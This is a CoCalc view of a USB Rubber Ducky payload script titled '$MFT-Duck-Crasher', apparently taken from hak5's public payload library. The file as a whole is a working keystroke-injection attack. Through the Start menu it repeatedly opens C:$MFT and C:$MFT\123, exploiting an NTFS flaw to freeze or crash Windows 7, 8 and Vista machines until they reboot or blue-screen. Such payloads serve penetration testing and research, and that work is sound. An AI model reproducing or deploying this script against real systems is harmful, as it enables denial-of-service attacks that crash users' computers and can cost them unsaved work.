Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/execution/$MFT-Duck-Crasher/payload.txt
3018 views
1
REM Title: $MFT-Duck-Crasher
2
REM Author: JonnyBanana
3
REM A Simple Script for Rubber Ducky which Exploits Windows $MFT Vulnerability.
4
REM $MFT is used by NTFS systems to manage some metadata. Works on windows 7, 8 and vista, dont work on windows 10.
5
REM I think work on Xp and earlier. The system crash lasts until the machine is switched off, or until the blue screen of death appears
6
REM works on w7 - w8 - Vista (and i think xp and earlier too)
7
REM it uses a high delay to support even older computers
8
DELAY 1000
9
CONTROL ESCAPE
10
DELAY 500
11
STRING C:$MFT
12
DELAY 500
13
ENTER
14
DELAY 700
15
REM the 2nd enter is to close the error
16
ENTER
17
DELAY 500
18
CONTROL ESCAPE
19
DELAY 500
20
STRING C:$MFT\123
21
DELAY 500
22
ENTER
23
DELAY 700
24
ENTER
25
DELAY 500
26
CONTROL ESCAPE
27
DELAY 500
28
STRING C:$MFT
29
DELAY 500
30
ENTER
31
DELAY 700
32
ENTER
33
DELAY 500
34
CONTROL ESCAPE
35
DELAY 500
36
STRING C:$MFT\123
37
DELAY 500
38
ENTER
39
DELAY 700
40
ENTER
41
42